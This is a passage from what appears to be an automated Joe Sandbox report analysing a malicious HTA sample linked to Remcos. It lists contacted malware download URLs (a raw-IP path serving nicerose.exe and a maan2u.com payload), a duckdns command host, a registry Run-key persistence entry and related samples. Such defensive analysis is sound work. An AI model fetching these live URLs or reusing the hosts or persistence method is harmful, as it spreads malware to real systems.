                http://173.214.167.74/444/nicerose.exeS0%Avira URL Cloudsafe
                https://www.maan2u.com/docs/233_Emxwenem0%Avira URL Cloudsafe
                http://173.214.10%Avira URL Cloudsafe
                http://173.214.167.74/444/nicerose.exe100%Avira URL Cloudmalware
                http://www.pmail.com00%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                geoplugin.net
                		178.237.33.50
                		truefalse
                  		high
                  maan2u.com
                  		103.82.231.117
                  		truetrue
                    		unknown
                    www.maan2u.com
                    		unknown
                    		unknowntrue
                      		unknown

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      https://www.maan2u.com/docs/233_Emxwenemixgtrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://geoplugin.net/json.gpfalse
                        		high
                        apostlejob2.duckdns.orgtrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://173.214.167.74/444/nicerose.exetrue
                        • Avira URL Cloud: malware
                        		unknown

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          http://173.214.167.74/444/nicerose.exeSpowershell.exe, 00000003.00000002.2185510356.0000000007AA9000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://nuget.org/NuGet.exepowershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://aka.ms/winsvr-2022-pshelppowershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://173.214.1powershell.exe, 00000003.00000002.2187825048.0000000008A16000.00000004.00000020.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://geoplugin.net/json.gp(colorcpl.exe, 0000000A.00000003.2291728695.0000000025F56000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://sectigo.com/CPS0nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    http://ocsp.sectigo.com0nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        http://geoplugin.net/json.gplcolorcpl.exe, 0000000A.00000003.2291728695.0000000025F56000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F56000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              http://173.214.167.74/444/nicerose.exeC:powershell.exe, 00000003.00000002.2187825048.00000000089CF000.00000004.00000020.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://contoso.com/Licensepowershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://contoso.com/Iconpowershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://www.maan2u.com/docs/233_Emxwenemnicerose.exe, 00000006.00000002.2278201946.0000000020AFD000.00000004.00001000.00020000.00000000.sdmptrue
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://geoplugin.net/json.gprcolorcpl.exe, 0000000A.00000003.2291728695.0000000025F56000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#nicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://www.maan2u.com:443/docs/233_Emxwenemixgnicerose.exe, 00000006.00000002.2251387721.00000000008AA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://www.maan2u.com/OLJ9nicerose.exe, 00000006.00000002.2251387721.000000000083E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://github.com/Pester/Pesterpowershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://geoplugin.net/json.gpSystem32colorcpl.exe, 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://geoplugin.net/colorcpl.exe, 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://geoplugin.net/json.gpEcolorcpl.exe, 0000000A.00000003.2291728695.0000000025F56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://geoplugin.net/json.gp/Cnicerose.exe, 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2283124676.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 0000000E.00000002.2367207415.0000000002480000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 00000012.00000002.2448831055.0000000003200000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://aka.ms/pscore6lBfqpowershell.exe, 00000003.00000002.2180154159.0000000005261000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://173.214.167.74/444/niceropowershell.exe, 00000003.00000002.2180154159.00000000055C4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000003.00000002.2180154159.00000000053B8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://contoso.com/powershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://nuget.org/nuget.exepowershell.exe, 00000003.00000002.2183352259.00000000062C9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000003.00000002.2180154159.0000000005261000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://ocsp.sectigo.com0Cnicerose.exe, 00000006.00000003.2235258536.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2282173664.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2235258536.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A39000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.2359491208.0000000000603000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.000000000070D000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000003.2442152851.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.pmail.com0nicerose.exe, 00000006.00000003.2234200935.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000003.2233550209.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2285382003.000000007F192000.00000004.00001000.00020000.00000000.sdmp, nicerose.exe, 00000006.00000002.2278201946.0000000020A8A000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.2395210905.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000F.00000002.2476585705.0000000020B09000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown

                                                                            World Map of Contacted IPs

                                                                            • No. of IPs < 25%
                                                                            • 25% < No. of IPs < 50%
                                                                            • 50% < No. of IPs < 75%
                                                                            • 75% < No. of IPs

                                                                            Public IPs

                                                                            IPDomainCountryFlagASNASN NameMalicious
                                                                            173.214.167.74
                                                                            		unknownUnited States
                                                                            		19318IS-AS-1UStrue
                                                                            185.174.103.111
                                                                            		unknownUkraine
                                                                            		8100ASN-QUADRANET-GLOBALUStrue
                                                                            103.82.231.117
                                                                            		maan2u.comMalaysia
                                                                            		55720GIGABIT-MYGigabitHostingSdnBhdMYtrue
                                                                            178.237.33.50
                                                                            		geoplugin.netNetherlands
                                                                            		8455ATOM86-ASATOM86NLfalse

                                                                            General Information

                                                                            Joe Sandbox version:41.0.0 Charoite
                                                                            Analysis ID:1577568
                                                                            Start date and time:2024-12-18 15:34:08 +01:00
                                                                            Joe Sandbox product:CloudBasic
                                                                            Overall analysis duration:0h 11m 53s
                                                                            Hypervisor based Inspection enabled:false
                                                                            Report type:full
                                                                            Cookbook file name:default.jbs
                                                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                            Number of analysed new started processes analysed:20
                                                                            Number of new started drivers analysed:0
                                                                            Number of existing processes analysed:0
                                                                            Number of existing drivers analysed:0
                                                                            Number of injected processes analysed:0
                                                                            Technologies:
                                                                            • HCA enabled
                                                                            • EGA enabled
                                                                            • AMSI enabled
                                                                            Analysis Mode:default
                                                                            Analysis stop reason:Timeout
                                                                            Sample name:greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta
                                                                            Detection:MAL
                                                                            Classification:mal100.rans.phis.troj.spyw.expl.evad.winHTA@32/21@2/4
                                                                            EGA Information:
                                                                            • Successful, ratio: 83.3%
                                                                            HCA Information:
                                                                            • Successful, ratio: 99%
                                                                            • Number of executed functions: 87
                                                                            • Number of non-executed functions: 231
                                                                            Cookbook Comments:
                                                                            • Found application associated with file extension: .hta
                                                                            • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                            Warnings

                                                                            • Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe
                                                                            • Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
                                                                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                            • Execution Graph export aborted for target mshta.exe, PID 6936 because there are no executed function
                                                                            • Not all processes where analyzed, report is missing behavior information
                                                                            • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                            • Report size getting too big, too many NtCreateKey calls found.
                                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                                                            • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                            • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                            • VT rate limit hit for: greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta

                                                                            Simulations

                                                                            Behavior and APIs

                                                                            TimeTypeDescription
                                                                            09:35:38API Interceptor41x Sleep call for process: powershell.exe modified
                                                                            09:35:49API Interceptor2x Sleep call for process: nicerose.exe modified
                                                                            09:36:09API Interceptor4x Sleep call for process: Emxwenem.PIF modified
                                                                            09:36:32API Interceptor5678368x Sleep call for process: colorcpl.exe modified
                                                                            14:36:00AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Emxwenem C:\Users\Public\Emxwenem.url
                                                                            14:36:08AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Emxwenem C:\Users\Public\Emxwenem.url

                                                                            Joe Sandbox View / Context

                                                                            IPs

                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                            173.214.167.74Order_948575494759.xlsGet hashmaliciousUnknownBrowse
                                                                            • 173.214.167.74/xampp/dcv/greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta
                                                                            Order_948575494759.xlsGet hashmaliciousUnknownBrowse
                                                                            • 173.214.167.74/xampp/dcv/greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta
                                                                            Order_948575494759.xlsGet hashmaliciousUnknownBrowse
                                                                            • 173.214.167.74/xampp/dcv/greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta
                                                                            103.82.231.1171DDHIzYyor.exeGet hashmaliciousDBatLoaderBrowse
                                                                              creatednew.htaGet hashmaliciousCobalt Strike, DBatLoader, HTMLPhisherBrowse
                                                                                178.237.33.50RFQ NO 65-58003.exeGet hashmaliciousRemcosBrowse
                                                                                • geoplugin.net/json.gp
                                                                                SwiftCopy_PaymtRecpt121228.exeGet hashmaliciousRemcosBrowse
                                                                                • geoplugin.net/json.gp
                                                                                BBVA S.A..vbsGet hashmaliciousRemcosBrowse
                                                                                • geoplugin.net/json.gp
                                                                                Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • geoplugin.net/json.gp
                                                                                Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • geoplugin.net/json.gp
                                                                                Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • geoplugin.net/json.gp
                                                                                givenbestupdatedoingformebestthingswithgreatnewsformegive.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                • geoplugin.net/json.gp
                                                                                clearentirethingwithbestnoticetheeverythinggooodfrome.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                • geoplugin.net/json.gp
                                                                                7Sbq4gMMlp.exeGet hashmaliciousRemcosBrowse
                                                                                • geoplugin.net/json.gp
                                                                                PO_0099822111ORDER.jsGet hashmaliciousRemcosBrowse
                                                                                • geoplugin.net/json.gp

                                                                                Domains

                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                maan2u.comK0hpP6V2fo.rtfGet hashmaliciousDBatLoader, RemcosBrowse
                                                                                • 112.137.173.77
                                                                                XjPA2pnUhC.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                                                • 112.137.173.77
                                                                                Payment Slip.xlsGet hashmaliciousDBatLoader, RemcosBrowse
                                                                                • 112.137.173.77
                                                                                EORJy4JxW2.rtfGet hashmaliciousDBatLoader, RemcosBrowse
                                                                                • 112.137.173.77
                                                                                ZPujMIT7Vs.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                                                • 112.137.173.77
                                                                                geoplugin.netRFQ NO 65-58003.exeGet hashmaliciousRemcosBrowse
                                                                                • 178.237.33.50
                                                                                SwiftCopy_PaymtRecpt121228.exeGet hashmaliciousRemcosBrowse
                                                                                • 178.237.33.50
                                                                                BBVA S.A..vbsGet hashmaliciousRemcosBrowse
                                                                                • 178.237.33.50
                                                                                Suzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • 178.237.33.50
                                                                                Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • 178.237.33.50
                                                                                Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • 178.237.33.50
                                                                                givenbestupdatedoingformebestthingswithgreatnewsformegive.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                • 178.237.33.50
                                                                                clearentirethingwithbestnoticetheeverythinggooodfrome.htaGet hashmaliciousCobalt Strike, RemcosBrowse
                                                                                • 178.237.33.50
                                                                                7Sbq4gMMlp.exeGet hashmaliciousRemcosBrowse
                                                                                • 178.237.33.50
                                                                                PO_0099822111ORDER.jsGet hashmaliciousRemcosBrowse
                                                                                • 178.237.33.50

                                                                                ASNs

                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                GIGABIT-MYGigabitHostingSdnBhdMY1DDHIzYyor.exeGet hashmaliciousDBatLoaderBrowse
                                                                                • 103.82.231.117
                                                                                creatednew.htaGet hashmaliciousCobalt Strike, DBatLoader, HTMLPhisherBrowse
                                                                                • 103.82.231.117
                                                                                x86.elfGet hashmaliciousMiraiBrowse
                                                                                • 103.244.24.127
                                                                                la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                                                                • 103.21.90.22
                                                                                dontopenme.htmlGet hashmaliciousUnknownBrowse
                                                                                • 185.93.164.24
                                                                                x86_32.elfGet hashmaliciousMirai, GafgytBrowse
                                                                                • 103.85.108.43
                                                                                FPPhfkcDCh.exeGet hashmaliciousRemcosBrowse
                                                                                • 103.144.139.157
                                                                                botnet.mips.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                • 103.229.240.20
                                                                                SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exeGet hashmaliciousBlackMoonBrowse
                                                                                • 45.124.79.198
                                                                                SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exeGet hashmaliciousBlackMoonBrowse
                                                                                • 45.124.79.216
                                                                                IS-AS-1USOrder_948575494759.xlsGet hashmaliciousUnknownBrowse
                                                                                • 173.214.167.74
                                                                                Order_948575494759.xlsGet hashmaliciousUnknownBrowse
                                                                                • 173.214.167.74
                                                                                Order_948575494759.xlsGet hashmaliciousUnknownBrowse
                                                                                • 173.214.167.74
                                                                                networkmanager.exeGet hashmaliciousUnknownBrowse
                                                                                • 66.45.226.53
                                                                                arm6.elfGet hashmaliciousUnknownBrowse
                                                                                • 208.73.200.113
                                                                                jAktiuZ9R3.msiGet hashmaliciousUnknownBrowse
                                                                                • 162.220.166.184
                                                                                S54zm7jsZe.msiGet hashmaliciousUnknownBrowse
                                                                                • 162.220.166.184
                                                                                https://dashboard.sizle.io/p/f7c9cdf19Get hashmaliciousHTMLPhisherBrowse
                                                                                • 174.138.189.57
                                                                                fWAr4zGUkY.exeGet hashmaliciousRemcos, Amadey, StealcBrowse
                                                                                • 66.45.226.53
                                                                                file.exeGet hashmaliciousAmadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, StormKitty, VenomRATBrowse
                                                                                • 205.209.109.10
                                                                                ASN-QUADRANET-GLOBALUSSuzhou Alpine Flow Control Co., Ltd. Financial Audit Questionaire 2024.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • 66.63.187.30
                                                                                Ref GEC409876 CONSTRUCTION OF MAJLIS PROJECT IN SAADIYAT, ABU DHABI.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • 66.63.187.30
                                                                                Purchase Order Draft for ATPS Inq Ref240912887-ATPS.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                                                • 66.63.187.30
                                                                                armv4l.elfGet hashmaliciousMiraiBrowse
                                                                                • 204.44.218.122
                                                                                rebirth.arm7.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                • 104.223.28.126
                                                                                jew.arm.elfGet hashmaliciousUnknownBrowse
                                                                                • 72.11.146.73
                                                                                2.elfGet hashmaliciousUnknownBrowse
                                                                                • 173.205.82.95
                                                                                Josho.arm7.elfGet hashmaliciousMiraiBrowse
                                                                                • 185.228.81.1
                                                                                tQoSuhQIdC.msiGet hashmaliciousUnknownBrowse
                                                                                • 66.63.187.205
                                                                                Ref#60031796.exeGet hashmaliciousRemcosBrowse
                                                                                • 69.174.98.48

                                                                                JA3 Fingerprints

                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                a0e9f5d64349fb13191bc781f81f42e1qth5kdee.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117
                                                                                LgendPremium.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117
                                                                                random.exe.7.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, VidarBrowse
                                                                                • 103.82.231.117
                                                                                ji2xlo1f.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117
                                                                                f86nrrc6.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117
                                                                                Armanivenntii_crypted_EASY.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117
                                                                                random.exe.2.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117
                                                                                aqbjn3fl.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117
                                                                                aqbjn3fl.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117
                                                                                goldlummaa.exeGet hashmaliciousLummaCBrowse
                                                                                • 103.82.231.117

                                                                                Dropped Files

                                                                                ⊘No context

                                                                                Created / dropped Files

                                                                                C:\ProgramData\remcos\logs.dat

                                                                                Download File
                                                                                Process:C:\Windows\SysWOW64\colorcpl.exe
                                                                                File Type:data
                                                                                Category:dropped
